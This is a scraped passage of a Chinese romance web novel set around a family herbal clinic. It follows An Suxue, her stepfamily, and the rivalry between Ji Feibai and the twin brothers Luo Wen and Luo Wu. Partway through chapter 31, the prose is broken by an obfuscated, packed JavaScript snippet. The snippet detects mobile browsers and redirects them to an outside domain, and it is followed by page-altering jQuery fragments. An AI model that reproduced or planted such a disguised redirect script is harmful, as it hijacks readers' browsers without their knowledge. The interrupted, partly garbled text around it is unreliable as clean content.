听说有亲人放河灯,亡者才能找到去往黄泉的路,不至于误入牲畜道,来世投胎也可以投到好人家。 她满怀心事,完全没注意到自己落寞的模样尽数被人看了去。 …… 回去路上意外碰见了罗文,安素雪勉强扯出一个笑。“罗文哥,你怎么在这?” 他们认识多年,罗文当然知道她每年来放河灯的事情,也知道她不想让旁人知晓此事,于是装作浑然不知。“刚给一家送了酒,正好要回去,你要回家吗?一起?” 两道身影并肩而行,安素雪时不时的侧头看过来,大抵是认识的时间久了,罗文能轻而易举的捕捉到她的情绪,他便温声说着这些日子的趣事,像是一束不知从哪照来的光亮,将她头顶乌云驱散。 眼见着年轻的男女有说有笑,远处的谢骧冷笑一声。 李昌会意,立刻弯腰请示:“主子,需要属下出手吗?” 只要谢骧想,抬抬手指,便有无数种法子让那个年轻男子消失于世。 却不想谢骧睨了他一眼,神色冷淡道:“你觉得我比不过一个平头百姓?” 李昌立刻表忠心:“属下绝无此意!” 谢骧挥手示意李昌闭嘴。 走在前面的罗文觉得后脖颈处一凉,他回过头,身后的街道空无一人。 “安安,我们快些回去。”老一辈说的对,这样的日子晚上莫要再外面逗留。 路边的商铺打了烊没有光亮,借着月光勉强能看清脚下的路,安素雪心绪不宁,走路踉跄,罗文侧头看她,索性去握她的手腕。 “安安,我扶着你。” 小时候孩子们闹腾的晚了,罗文也是像现在这样,握住她的手腕带她回家。 那时候安素雪瘦的可怜,罗文都怕自己用力折断她的腕子。现在也清瘦,填不满他的掌心。 昨日下过雨,夜里空气清新泛着冷意。正是年轻力壮的罗文手心热的惊人,烫的安素雪也觉得热起来。 从后面看,就像是俩人交握,感情甚笃。 谢骧面色沉了沉,周身空气变滞,吓的李昌大气都不敢喘。 快走到家门前时,罗文远远瞧见自家门口站着人正在朝这边张望,他像是被抓包似的立刻松开手,恰逢脚下不平,安素雪一时没防备,差点摔倒,罗文见状又去扶住她的后背。 罗武已经朝着这边跑来了,在弟弟到来之前,罗文先一步松开人,而后对赶来对他怒目而视的弟弟道:“安安差点摔倒,我扶一下。” 兄弟俩视线交汇,在安素雪看不见的地方火药味十足。 远处的谢骧右手扶着额角。 “呵。” …… 待安素雪回了陈家,罗武转过身竖眉看胞兄:“你是故意的吧?” 罗文一脸的无可奈何。“我本想叫你去接安安的,但那时候你在爹娘房间。” 今天罗武打碎了一坛子酒,被罗母揪着耳朵训斥。 罗武:“真的?” 罗文点头。 显然相信大哥所言的罗武瞥向医馆,见没人出来,他才压低声音道:“再有下次你记得帮我。” 怎么帮?自然是要假扮罗武。 哥哥装弟弟,去赢取一个女子的芳心。 “大哥?怎么不说话?你后悔了?” 背过手的罗文握掌成拳,手背上的青筋暴起,偏他面上云淡风轻。 “没有,回去休息吧。” …… 医馆里陈山还在收拾铺子,安素雪进去后洗手帮忙,将药材架子清理干净,免得有药材残渣落入相冲的匣子里,影响药效。 桌椅也都擦拭一遍,吃苦耐劳的姑娘这些年都是如此任劳任怨。 “安安,辛苦你了。”陈山倏地道。 “不辛苦的。”安素雪莞尔一笑,“我喜欢做这些。” 这孩子从小就聪慧懂事,仿若比同龄人立事更早,但陈山知道,她是为了让这个家更加和睦。为此,没少吃哑巴亏。 陈香玉是个嘴厉的,俩人年岁相仿,尽管有陈山归 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清明节大半夜坐在这,冷清之余还有点瘆人。季飞白抬头看看天色,月亮被乌云遮盖住,没什么光亮。 “不等针灸之术练好,眼睛先看不见了。” 季飞白留下这句便往厨房去。 “没有,我是在等你。” 他停下脚步转身看过来。 为了方便清洗,外裳早就脱了,只穿着贴身里衣,因着常年习武练就一层薄肌,宽肩窄腰,回过身时身体侧面有让人赏心悦目的弧度。 “等我?”季飞白扬起眉梢,似乎觉得有趣,端着盆转身,看见安素雪手边放着的东西。 她连忙将竹筒饭拿起来,打开盖子。“不知道你们那边有没有吃竹筒饭的习俗,在这里的话吃竹筒饭有祛邪避祸的意思。” 米饭上还洒了几颗蜜豆,随着她走近,隐有甜蜜香气。 季飞白放下盆,安素雪将竹筒饭递了过去,眼睛扫过他腹部。 “放心,吃的下。” 都说半大小子吃穷老子,季飞白年轻力壮正是能吃的时候。安素雪叫他坐下吃,她也在他身侧落座。 他吃东西速度很快,却半点不粗鲁,没一会将饭吃饭,将竹筒放在桌上。 “这个,还能用吗?” “明日可以当柴烧。” 咔嚓脆响之后,季飞白捏着手里的一条竹片,“不是想学吐蕃字吗?今日就教你。” 这人做事也太过随性了,安素雪一时没反应过来,杏眸轻眨,瞳孔里映出笑意飞扬的脸。 “不想学?那我走了。” 语毕,作势就要起身。他整日不在,好不容易有个机会,安素雪不肯放弃,连忙抓住他的衣摆。 “我要学的,别走。” 小姑娘全然不知,背对着她的异域少年琥珀眸子闪烁光芒,转过身时硬是压住了翘起的唇角,像是颇为苦恼一般。 “罢了,今日就先教你几个字,说吧,想学什么?” 30. 第 30 章 “你不问问我怎么找到护院活计的?” 月光如水洒了下来,女子杏眸里也像是含着一汪春水般,晶莹剔透,干净无杂念。 俩人身高差落了座也是有的,季飞白俯视她,见她懵懂的眼神,叹了口气,主动解释道:“是之前的余姑娘介绍。” 准确来说,是余姑娘请他。 她似乎才反应过来。“好些日子没看见她了。” 最近忙碌,安素雪都没注意到此事。 季飞白扬起眉梢,觉得她未免太过迟钝了些。她是一直如此? “罢了,教你写字,想学什么?” 学完全陌生的字不简单,安素雪从来不是贪心的人,便说想简单学几个字就好。 “谢谢怎么写?” 季飞白好笑的看她。 “一般人学写字不都是先学自己名字吗?怎么上来学谢谢。” “如果,我是说如果我碰见了吐蕃人,最基本的礼貌是要有的。” 这边季飞白已经用竹片沾水在桌子上开始写了。“那也要碰到的是个礼貌的吐蕃人才是。” 吐蕃西戎被称为外邦异族,风俗人情和本朝完全不一样,与内敛沉稳的本朝人相比,他们更加热情奔放,在一些古板之人眼里便是风□□荡,也因此被避之不及。 “试试。” 他把竹片给她,安素雪刚一碰到,就嘶了一声松开,低头看自己被刺痛的食指,上面扎着一根毛刺。 “怎么比花还娇嫩。” 季飞白握住她的手指,将毛刺摘下来,幸而只是扎到皮肤上并未见血。 安素雪不去碰竹片了,用手指蘸水在桌子写。期间季飞白指点了一次,她很快就下笔流畅,写完后抬头,神采奕奕。 “我写的对吗?” 寻常人都会问写的好不好。 季飞白深深看她一眼,“没错。” 两个字就让她欣喜起来,笑的眉眼弯弯。 “没有想象中难。” “我从来没出过这里,外面也如城里这般吗?日出而作日入而息?” “天底下都一个样,没什么不同。” 即便如此,安素雪还是对外面产生好奇,问了好几个问题,季飞白一一作答。 “这么说,你去过很多地方了。” “赶路两个月才到这,你说呢?” “沿途经历了不少风土人情,也算是苦中作乐?”安素雪想起来季飞白刚到家时候的一身伤,连忙改了口风,“抱歉,我就是好奇,不是故意揭你伤疤。” “小事而已,不用道歉,”季飞白浑不在意耸肩,“若真论起来,被人刺伤才算真的伤疤。” 安素雪惊呆,“你身上的伤应当都好了吧。” “骗你的。” 季飞白噙着狐狸似狡黠笑意。“你怎么如此好骗,出门在外多加小心,免得被人骗走卖了还帮人数钱。” 他刚洗过脸,手掌随意的将额前碎发拢到脑后,露出比寻常人更加深邃的眉眼,水珠从俊挺的鼻梁上滑落,他随意的抹掉,笑容越发肆意。 不得不承认,他生的着实好看。 “看够了吗?” 安素雪腾的红了脸,赶忙低头声如蚊讷:“再教我几个字吧?” 时辰尚早,而且她聪明伶俐学的快,再教她写几个字也没什么。季飞白这般想着,手指去蘸水,问她还想学什么。 果然,这次她说要学自己的名字。 季飞白教完后,安素雪不好意思的笑笑:“多谢了,你快去洗漱休息吧。” 季飞白便带着盆子离开,等洗好从厨房出来时,见她还坐在桌子前,比学堂里听夫子讲课的童生还认真。 大跨步走了过去,季飞白挥手又写了几个字。 都说字如其人,他的字龙飞凤舞,笔迹遒劲,比本人要张扬几分。 写完,他转身便走。 “哎,这几个字什么意思呢?” “你猜。” 房门关上,留下安素雪一个人揣摩他的意思。桌子上的字像是他本人一样,透着意气风发。 到底念做什么呀? 这人着实坏心眼。 …… 自打小竹子丢过一次后,安杏花像是看眼珠子似的看着孩子,寸步不离。安素雪知道她一朝被蛇咬十年怕井绳,便不让她去市场买菜,她起早提着篮子去。 以前也陪着母亲来过,安素雪轻车熟路,就是拎着沉甸甸的篮子太费力。快走到的时候,迎面碰见了季飞白。 “你要出去做工了吗?” 季飞白颔首,随后视线往下看见她被勒红的手,他便接了过来。 “不用的,我自己来就好。” “以为我特意帮你?我是落了东西要回去取。” 他转身就走,安素雪连忙跟上,只是他将篮子放进厨房后直接走了,并未回房取“落下的东西”。 家里的活能做的,安素雪都会帮忙做,有相熟的妇人过来串门,也都会夸赞一句:“杏花真是好命,瞧这孩子长的漂亮还懂事能干。” 小竹子颠颠跑过去,帮安素雪摘菜,妇人们又哄笑起来,夸儿女双全懂事健康比什么都重要。 前院忙碌,陈香玉便来喊安素雪,安杏花急忙道:“安安你去吧,放在这我一会摘就成。” 安素雪便净了手,去往前院后把房门关上,免得一个没注意小竹子跑过来。 陈家医馆生意素来都好,清明过后明显又上了一层楼。 倒不像开春时候一传十的风寒之症,五花八门,什么都有。待黄昏时分,陈家父女三人才送走最后一个病人,陈香玉累的腰疼,坐在那捶后腰,埋怨道:“爹,太累了。” 安素雪默不作声的收拾药柜。 陈山正在整理今日开出去的方子,一式两份,医馆里留下一份给病患一份。闻言抬头道:“一会吃完饭早点睡觉休息。” 陈香玉不满的嘟嘴:“爹,我们这么累却挣的不多,我都听人说了,城里别家医馆看诊和抓药都涨钱了,就我们医馆不涨,所以他们都涌到这来看。要我说,我们也得跟着涨,否则累的够呛还没人家挣的多。” “来这看诊的都是普通百姓,一年到都都整不了几个钱,再涨药钱的话,岂不是逼着人不来医馆,到时候病重吃苦,我良心也过意不去。” “爹!你就是太善良了,你看人家其他医馆怎么就涨钱呢?而且我们也不是无凭无据随意涨,现在进货也贵了,听说外面越来越乱,药材可是 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安杏花哎呀一声,刚想大点声说话就想到孩子才睡着,于是重新躺下伏在陈山肩膀处,温柔小意道:“近几年世道不太平,我们也该打算好才是,香玉说的对,她也是为了这个家好。” 陈山叹口气:“如果不是药材涨价,我断不可能涨钱,这样,我们先少涨一些,万一后续药材成本降低,也好调整。” 这人性子沉闷执拗,安杏花惯会以柔克刚,便顺着他说。“你说的对,瞧我,什么都不会,明日早起让安安帮你算算。” 翌日医馆还没开张,陈山便唤来两个女儿,让她们查看进货价,抛开损耗,将铺子里的药材重新定价。 安素雪忙着记账,早上小竹子闹腾,估摸着是胀气,陈山正给他揉肚子排气,那头安杏花匆忙从前院回来,手里捏着一封信。 “好像是季家来的消息。” 安杏花不认字儿,陈山和安素雪又腾不开手,便让陈香玉看一眼是谁寄来的。 “确实是季家,不过不是给季飞白,上面署名给爹的。” “行,你拆看看一眼。”陈山道。 安杏花算日子:“确实不是给飞白的,他写的信前些日子才送出去,不可能来的这么快。” 这边陈香玉打开信,为了让老爹能知道内容便朗读出来。 “陈兄,别来无恙……” 前面几句俱是客套的话。 “……我儿飞白可否听话?实不相瞒,这孩子出身低贱,乃是府里丫鬟所生,性格顽劣调皮不服管教……” 陈香玉越念声音越小,而后停下,着实是因为后面的词语不堪入耳,字里行间尽是厌弃,不像爹说儿子,倒像是说仇人。 “季飞白是丫鬟所生?”陈香玉放下信,让陈山自己看。 巧了,就放在安素雪的眼前,她随意一瞥就看全了上面内容。 【他娘身份低贱身上有吐蕃血统,此子遗传了他娘,生了一双不祥之瞳,在家时就时常惹祸上身,无法拘束。若是给陈兄惹得什么麻烦,还望多多担待,大可当仆人训斥,不必留情。】 看完之后安素雪垂着眸子,脑海里出现那双漂亮的琥珀眸子。 很好看。 而且,怎么就成了不祥之瞳了呢? 31. 第 31 章 好些日子没出现的余姑娘来了。 陈香玉认识她,知道她和安素雪交好,于是故意在对方进门时提了句:“看诊费用不变,抓药可涨价了。” 这话着实赶客,余姑娘的丫鬟不满的皱眉,暗道她们姑娘又不是付不起钱。 “我是带朋友来,”余姑娘并未往心里去,“安姑娘不在吗?” “找她玩直接去后院,请便。”陈香玉重新坐下,百无聊赖的玩指甲花。这玩意儿染上之后过一段时间就会掉,陈香玉喜欢颜色浓烈的,便没事就染一染。 余姑娘身边有个圆脸的姑娘,进门之后脸色就没好过,闻言更是直接转身便走,看样子是生气了。 “试试嘛,”余姑娘拽着对方的衣袖,小声道:“万一有效果呢?” 圆脸姑娘眼睛睨了陈香玉一下,摆明了看不上她,幸而陈香玉低头忙着染指甲没瞧见,否则怕是容易闹开。 去后院找人,见安素雪正坐在那切药材,穿着件窄袖桃色衣裙,应当是浆洗的次数多了,颜色发暗,但安素雪皮肤生的白腻,日光下通透的仿若上好的玉,便叫人忽略那身朴素的打扮。 “安姑娘。” “余姑娘。”专心致志做事的安素雪才看见人,连忙起身,对着圆脸姑娘笑着道:“柳姑娘也在。” 柳盼兰似乎对于旁人的问候感到稀松平常,只点了下头,就好奇的环视一圈,随后有丫鬟过来将帕子垫在凳子上,柳盼兰落座。 安素雪忙擦干净手,去厨房端了热茶。陈家没有仆从,安素雪亲自给她们倒茶,来到后门处朝院里张望的陈香玉哼了一声。 “竟做些丫鬟的活儿。” 安素雪还真没觉得自己低人一等,她没什么朋友,余姑娘算是难得交好的姑娘,她每次上门,安素雪都会好茶好水招待对方,这次也是一样。 “天气渐热容易生火,泡了菊花茶,里面加了冰糖去涩,尝尝。” 热气袅袅,菊花在茶碗里绽放开来,散发着花香茶香。这回柳盼兰给了点眼神,似是赞许般笑了一下。 安素雪没看见,余姑娘可是一直注意柳盼兰,便知道这位娇贵主儿是高兴了,于是顺水推舟道:“安姑娘,我最近身体不舒服,你帮我诊诊脉?” 看病讲究望闻问切,安素雪不管对谁都秉持着严肃认真的态度。仔细看过之后,她道:“有点上火,回去后饮食清淡,多喝水,现在春日菜多了,可以多食。” 刚说完,余姑娘便侧身亲昵的拉着柳盼兰的手。“帮我好友也看看。” 按理来说来看诊要诉说自己的病症,方便大夫看诊和开药。刚才余姑娘也提了自己嗓子干痒等症状,但到了柳盼兰这儿,她一声不吭,只伸出右手放在桌面上。 审视的目光看向安素雪,并不觉得年轻貌美的女大夫能看好她的毛病,毕竟府里请了不少经验丰富的老大夫,但都没奏效。 正因为如此,柳盼兰心情不好,便着余姑娘出门散心,路过此地随性而起,不指望安素雪能看出什么。柳盼兰甚至有点烦躁,若不是余念珠说试试,她也不会进来。 罢了,死马当作活马医,大不了耗费一盏茶的功夫。 片刻后,安素雪收回手不语,似是在沉思。柳盼兰没了等待的耐性,起身招呼丫鬟便要走。 “柳姑娘可是手脚发痒?” 柳盼兰又坐了回去。 “你诊脉能诊出来?”显然不相信她有这么大能耐。 寻常医馆里坐诊的都是男大夫,年岁越大经验越是丰富,也更让看诊的百姓放心。像是安素雪这等才十几岁的姑娘,显然会让人不信服。 但她又说中了她的病症…… 柳盼兰:“你怎么知道的?” 她故意直接伸过去手心朝上,按理来说她不可能看见才是。 安素雪看着她的手道:“方才柳姑娘挠了一下在手心处留下痕迹了。” 柳盼兰低头,果然在拇指处发现淡淡的红痕,娇贵小姐的皮肤嫩如豆腐,碰一下就会留下痕迹。 算她眼睛尖。 柳盼兰拢了下袖子,将手缩在宽大的衣袖里。因为不信任安素雪,方才也只是巧合罢了,所以觉得没有继续看诊的必要打算离开。 人是余念珠带进来的,若是惹了她不快,她也跟着落不到好,因此余念珠心里期盼安素雪能看好病,嘴上说道:“柳姑娘别急,让她再看看,我跟你说,之前我身体不舒服,就是安姑娘帮我调理好的。” 这话倒像是做说客,不过柳盼兰的脸色好了一些,没着急走,想知道她还能看出什么。 “柳姑娘脉象平和之中带急,应当是燥火所致,眼白泛红血丝,这几日没休息好吗?还有,姑娘唇下生了一颗火痘,如果不及时处理,恐怕会变大,到时候不好处置。” 柳盼兰摸摸自己唇下,余念珠意外的看过来,因为柳盼兰上了妆,所以出来逛了大半天她都没发现脸上有东西,安素雪眼神还怪好的。 柳盼兰眼神微变。 她没想到安素雪字字句句全都说对了。 总不可能是在她府里墙根底下蹲着吧。那就说明,眼前的年轻女大夫,确实有几把刷子。 揣摩人心不是安素雪擅长,她温声道:“还要再看过柳姑娘的手才能确定。” 这次柳盼兰伸出手背,露出大片被挠红的肌肤,痒的厉害挠的发狠,留下几条微红肿的痕迹。 仔细看过后,安素雪还看了她脚上的状况。幸好是女大夫,否则多有不便。看完后安素雪询问几句,最后开了方子。 “还有一种膏药可解痒,不过得现做,姑娘稍等片刻。” 去前院取了需要用的药材,直接净手研磨,用现成的香膏做底,做了一小盒膏药给她。 离开之时,柳盼兰的脸上好了不少,她脸圆,不笑时显得骄纵,笑起来时候则透着可爱。 “等我先用用,好了有重谢。” 安素雪莞尔一笑:“希望你早日康复。” “人都走了,还看呐。” 明明进来时候面色不善,这才一盏茶的功夫,怎么就相处融洽了。陈香玉一直觉得安素雪没朋友,是因为她本身性格不行,没想到她竟然有朋友,而且瞧着穿着打扮还像是大户人家出身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804478|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 酸水咕咚咚往外冒,安素雪笑容刺的陈香玉不舒服,于是她开口讽道:“呦,你们是朋友?” 其实,安素雪也不大确定算不算,略一犹豫后她点头。应该算的吧,余姑娘总是来找自己,俩人相处还算愉快。至于柳姑娘……有一面之缘,应该也算是。 陈香玉指着安素雪的手道:“那你朋友还让你不带指□□紫玉竹?” 紫玉竹是一味药,就算晒干之后研磨也容易在手上留下痕迹,医馆里取药时多会带着指套避免脏手。 方才着急做药膏手边没指套,原本白净的手指上沾了斑斑点点的淡紫色痕迹。安素雪蹭了蹭,陈香玉嗤笑:“没有十天半个月的恐怕洗不掉,看你怎么办。” 即便安素雪没那么在意容貌,也不免觉得这双手变得难看稍显烦躁。 陈香玉见她低着头不说话,像是深受打击的模样,她本该高兴的,但…… “拿去!” 陈香玉语气不善,直接将自己弄来的凤仙花给她。 凤仙花颜色各异,染指甲一般都是用朱红色花瓣和明矾捣碎成花泥,敷在指甲上便能得来颜色多染几次,便如胭脂一般。也能直接将花瓣贴在指甲上,随便拿什么东西将花瓣汁水挤出来,等一会便也能上色,就是颜色浅且持续的时间短。 “谢谢。” 凤仙花不是什么珍惜玩意,但这个时节确实不好找的,听说现在只有城外能找到。 “出去踏青时候摘的。”陈香玉补了一句,“谁让你没朋友邀踏青。” 她伸手欣赏自己染了淡粉色的指甲,语气之中带着骄傲。“我们一群姑娘,五六个呢。” “不像你,就交了两个朋友,她们还让你不戴指套碰紫玉竹。幸好是晒干不是新鲜的,否则你手背落痒痒,夜里睡不着翻来覆去还扰我清梦。” 尽管陈香玉埋怨,但安素雪还是真情实意的道了谢。 黄昏时候医馆没人了,安素雪安心坐下开始倒泥。手指上的颜色有点重,洗了几次好像褪了一些,但依旧显眼。 “染完指甲就好了。”安素雪安慰自己。 正巧罗武和罗文来了,罗武跃跃欲试。“安安,用这些花泥就能让指甲上色吗?” 安素雪手边有半个巴掌大小的叶片,她把花泥放在准备好的叶片上,解释道:“用这个缠在手指上睡一夜,第二天起来指甲就会有颜色,不过颜色可能会淡,多染几次就好了。” 罗武突然发现安素雪手上的痕迹,连忙凑过去问怎么了。 罗文则是站在几步远的没靠近,其实他刚进来时便瞧见了,但一直未吭声。视线沉沉的落在安素雪身上,担忧的蹙眉。 “没事的,过些日子就好了,我先染指甲。” 想要将花泥叶子绑在手上自己还真不成,罗武自告奋勇的帮忙,可他粗手粗脚,绑了好一会满头大汗,刚绑好就掉下来,可惜了叶子和花泥。 “大哥,你来帮忙吧。”罗武深知不可耽误安安,便转头朝罗文求助。 一言不发的罗文上前坐在罗武方才的位置上。 取而代之。 32. 第 32 章 安素雪刚到陈家时才六岁。 罗文记得清清楚楚。 瘦弱的小女娃躲在大人身后,身上穿着不合身的衣服,露出怯怯的大眼睛。那时候附近没有年岁相当的孩子,所以罗家兄弟总来找她玩,小女娃性子好,被他们惹恼了也只会哭,不像是陈香玉还要拉着大人告状。 两兄弟那时七岁,正是调皮捣蛋的年岁,几乎日日都要被大人训斥,因此讨厌告状的陈香玉,很快就和安素雪玩到了一起。 罗武打小就是个粗心人,时常惹哭了安素雪,罗文就负责哄人。 一哄就是十年,如今她十六,他们十七岁。 正是该定亲成婚的年纪。 可他的弟弟罗武先一步说他喜欢她,作为哥哥的罗文被教育不管什么都要让着弟弟。 不管什么…… 以前时常来找安素雪和她说话都成了奢望,他只能隔着一道墙,听孪生弟弟和她谈笑,不可以出现在她面前。 多久没像现在这样挨她这般近了? 罗文甚至记不起上次和她亲密接触是什么时候,好像之前的美好都成了奢望。好像现在他握着她的手,于光天化日之下,于弟弟罗文面前,都变成了偷~情之举。 罗文晦涩难辨的垂眸,默不作声的拿起木勺,舀起花泥敷在如葱白的指尖,然后将叶片包裹,再拿绳子缠绕系紧。 “紧吗?若是勒疼了你不要忍着。”他抬头看安素雪。 小时候她眼睛就生的又大又漂亮,和现在一样,清澈无杂质宛若山间清冽泉水,罗文脑子里杂念像是污泥一般被清洗,只剩下面前少女灵动的笑眼。 “正正好好,多谢罗文哥。” 身后站着的罗武吃味,却无可奈何。谁叫他没生一双灵巧的手? “大哥,你快点弄,莫要耽误安安休息。” 嘴上说着怕耽误安素雪,实际上是不想让罗文和她多相处。可罗武忘了,前几日是他求着罗文帮忙,让罗文假装他来和安素雪见面。 怎么阻挡的了? 又该如何阻挡? 有些东西一旦扎根生芽,便风雨无阻,以势不可挡的势头汹涌而出,如春日野草肆意生长,野火吹不尽,春风吹又生。 罗文嗯了一声,安素雪善解人意道:“没关系,我不急的,你们有事吗?如果有事可以去忙,我可以等娘或者季飞白回来帮忙。” 也不知道怎么回事,安素雪突然觉得捏着自己手指的力道变大,抬头却见罗文神色认真的涂花泥并没有别的举动。 应该是不小心吧,她想。 男人的手和女人的自然不同,尤其是干粗活的男人。 罗文到了该成家的年纪,身量也已经长开了,手指骨节分明粗壮,和安素雪相比,简直能轻松的将她包裹住。 他用左手托着她的手心,左手舀花泥,感叹她指甲竟生的如此小巧秀气,怪不得罗武让他来,因为即使是他也要打起十二分的精神,免得将花泥涂在皮肤上。 四月的白昼长,季飞白回来时候夕阳西下,异域少年踩着细碎的金光走进来,深邃的眉眼扫过院子里的三人,饶有趣味的抱臂过来。 “你们三个……” 拉长的尾音让罗文警惕,手上动作一顿;罗武一声不吭,面带敌意怒目而视;安素雪则是和季飞白打招呼,璀璨的杏眸笑起来弯弯如月。 “回来了。” 季飞白一身薄汗,以往回来都是着急去房间里换衣服清洗,他讨厌汗液浸透的衣服黏在身上,总觉得黏腻腻的让人心情不好。 但今天,他没着急回房,而是长腿迈开走了过来。鼻尖上还沁了薄汗,少年浓密的眼睫垂下,似笑非笑的看她。 “你们三个在做什么?” “显而易见。” 罗文在安素雪张口之前率先回答,“难道你们那里没有用凤仙花染指甲的习惯吗?” “有倒是有,但我倒是不知原来罗家公子还可做这等小怡情之事。”季飞白不笑的时候瞧着面容冷峻,笑起来时则格外张扬。 “啧,难道这就是传说中的‘妇女之友’?” “你!”罗武先炸毛,“你什么意思?什么叫妇女之友?” 听起来不像是什么好话。 季飞白耸肩,明明容貌生的精致,身上却带着一股混不吝的气质。 “你怎么理解就怎么是。” 罗武愠怒,罗文起身,按住弟弟肩膀,对着季飞白笑着道:“季公子玩笑话,再有,也不是坏话,是说我们兄弟和安安关系亲近,你说呢?” 话是对罗武说的,但眼睛直勾勾的盯着季飞白,两个年岁相仿的人四目相对,只有他们自己懂得眼神里的意义。 安素雪坐着,完全看不到他们的眼神,更无法揣测他们心里的想法,她手上不方便,只能道: “吃饭了吗?厨房给你留了包子,还热着呢,你可以自己取吗?” 陈家用饭都是安素雪摆饭菜,吃完也都是她来收拾,做习惯了这些事,安素雪也是这样对季飞白,前几天安杏花留下的鸡汤都是安素雪亲手盛了给他的。 当时季飞白眼神莫名,安素雪没懂,今日又看见他脸上出现同样的表情,嗤笑道:“我没手不成,还要你侍候。行了,你坐着吧,小心手上的虫子掉在腿上。” 说完他扬长而去,安素雪短促的啊了一声弹跳起身,却发现压根就没虫子,是季飞白恶作剧吓唬她。 这人…… “季公子性子有些……”罗文顿了顿,才找到一个合适的词语,“顽劣。” 安素雪琢磨了片刻,忽地笑出声。 “安安,你怎么还能笑呢!”罗武不满,罗文则是悄声捅了捅弟弟,微微摇头示意。 待回家后,罗武不满。 “大哥,你还帮着那小子说话!我看啊,他就是在挑衅!” 罗文慢条斯理的擦拭手上的花泥痕迹,帮安素雪弄完后他虽然及时净手,但还是留下些许粉色,是春日樱花的颜色,也像是少女指腹上透出的微薄血色,嫩肉按着时发白,松手后就会涌现出漂亮的潮红。 罗文盯着手上的痕迹愣神,脑海里俱是安素雪的一颦一笑,完全没听见罗武在说什么。 “大哥,你在想什么?怎么不说话?” 直到罗武喊了好几声,罗文才缓过神来,将毛巾扔在架子上,自己随意的坐下。 “他应该不会在此呆太久,听说他爹是当官的,兴许只是让儿子过来游玩,那些权贵世家总是会安排小辈出门长见识,说是读万卷书不如行万里路。或许,用不了多久他就 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冷不防被他抓个正着,安素雪腾的红了脸,记不清是第几次见到他这样似笑非笑的表情了。 “留的饭够吃吗?”她视线盯着自己手指尖上的绿叶,随便找了个话题缓解尴尬。 “嗯。”季飞白随便应了一声。 其实请他当护院的主家供饭,但正是能吃的年纪,季飞白饭量惊人,再多一份也能吃下。 见他情绪不高,安素雪想到了什么。 莫不是看到那封信了? 当时陈山一目十行的看完,皱着眉头嘀咕了句什么,安杏花则是不解直言:“他怎么说也是骨血,为何要这样贬低孩子?” 算上陈香玉,安杏花有三个孩子,她虽然有自己的小算盘,但对季飞白算是赤诚,也拿他当孩子看。 她对待不是自己所生的孩子都如此,所以不理解为何有人会这样对自己的亲生骨肉。 “我听说大户人家的孩子也分三六九等,”陈香玉插话,“分什么嫡出庶出,母亲尊贵,生出来的孩子也尊贵。” 安杏花不甚赞同,陈山也摇头。 “这封信的事情莫要告知季飞白,就当没收到过此信。” 陈山直接让安杏花拿去烧了。 他应该看不到才是,安素雪觉得自己胡思乱想。 “要几次?” 他突然说了这么一句,安素雪没听懂,他斜眼看过来,琥珀色的眸子流光溢彩,视线落在她手指上。 “我说,你要染几次?” “啊,这个啊,明天看看效果,大概要染三次吧。” “还叫罗家兄弟帮你弄?” 安素雪双手展开给他看。 “要用花泥敷指甲,再绑叶子,我自己弄不了的。” 季飞白将擦干净的剑入剑鞘,起身俯视她。 看似单薄的身躯投下大片阴影,轻而易举的将安素雪罩在其中。 她抬头对上那双好看的眼眸,难得灵光一闪。 “你想帮我?” “呵,做梦。” 说完离去,留下气鼓鼓的安素雪。 这人怎么这样! 33. 第 33 章 陈家医馆调价之后,生意确实受到影响,但影响不大。陈山想明白了,若是不及时涨价,等到成本成倍上增时再涨,百姓们也接受不了,不如现在慢慢涨,若是以后药材价格降下来,他立刻就调回来。 进入四月之后日头越发的晒人,但也会时不时的降雨,安素雪在医馆里坐镇时,要时刻注意天气,免得晒好的药材沾了雨水,到时候入库后发霉。 今日晴空万里,倒是个出去游玩的好时机,不过陈香玉出门了,家里陈山一个人忙不过来,安素雪从早上到下午一直忙碌着,不是给陈山打下手就是帮忙抓药,一人身兼数职,忙的一张小脸红扑扑。 陈山过意不去,等到安杏花从后院出来时,他压低声音道:“眼看着快夏天了,你去扯两匹好看的布料,给安安做几身夏裙穿。” 安杏花笑着说好,还说多扯一块,她们姐妹俩都做新衣服穿。 “香玉就不用了,我听她说她今日和朋友出去逛街,就是要买衣服,估摸着最少买两件成衣,你只管给安安扯布就好,若是铺子里有好看合身的成衣,也给她买一身回来。” 说完,陈山去钱匣子里将今日看诊抓药得来的铜板交给安杏花,额外多给了一小块碎银子。 “外面热,若是累了就带孩子坐下歇歇脚,喝口凉茶。” 安杏花眉眼含笑。 陈山虽然性子沉闷不会说好听话,但为人老实本分会照顾人,这些年她们母女在他庇护之下过的甚好,她也愿意做好贤妻良母的本分。 “我看着买,放心吧。” “看好孩子。”陈山嘱咐。 安杏花刚开始那几日草木皆兵,甚至不带小竹子出门,这两天才缓过来一些,但出门必须拿布条将母子手腕系上。 街上人来人往,这样也能防止孩子走丢。安杏花去布庄看了一圈,成衣倒是有也漂亮,但价格摆在那,安杏花盘算着手里的钱只能买一件成衣。 都说后娘不好当,安杏花也是这样觉得。对陈香玉再好,大家都觉得是天经地义,但是若有一点点不好,旁人便会抓住小辫子抨击她是后娘。 所以这些年安杏花尽量一碗水端平,好在自己的孩子安安是个懂事的,深得陈山喜欢,底下又有小竹子,将来长大了便能给姐姐撑腰。现在的日子过的好,安杏花格外珍惜,所以咬咬牙拿出自己的私房钱,买了两套成衣。 一套给陈香玉,一套给安素雪。另外还给小竹子买了一顶虎头帽,给陈山买了一件外衫,自己倒是什么都没买。 要拎的东西多,走半路就累了,索性坐在路边的棚子下喝口茶水,给小竹子要了一个肉包垫肚子。 安杏花是个普通妇人,平日里也喜欢和邻居们聊天,到了茶棚和人拼桌,有人夸赞小竹子长的可爱好看,话匣子便打开了,安杏花和同桌的两个妇人聊天,先是说了今日天气,然后又说到当下世道。 “什么都涨价,”安杏花抱怨,“扯布料都比之前贵不少。” “谁说不是呢,我今天去买大米,哎呦喂,又涨了!” 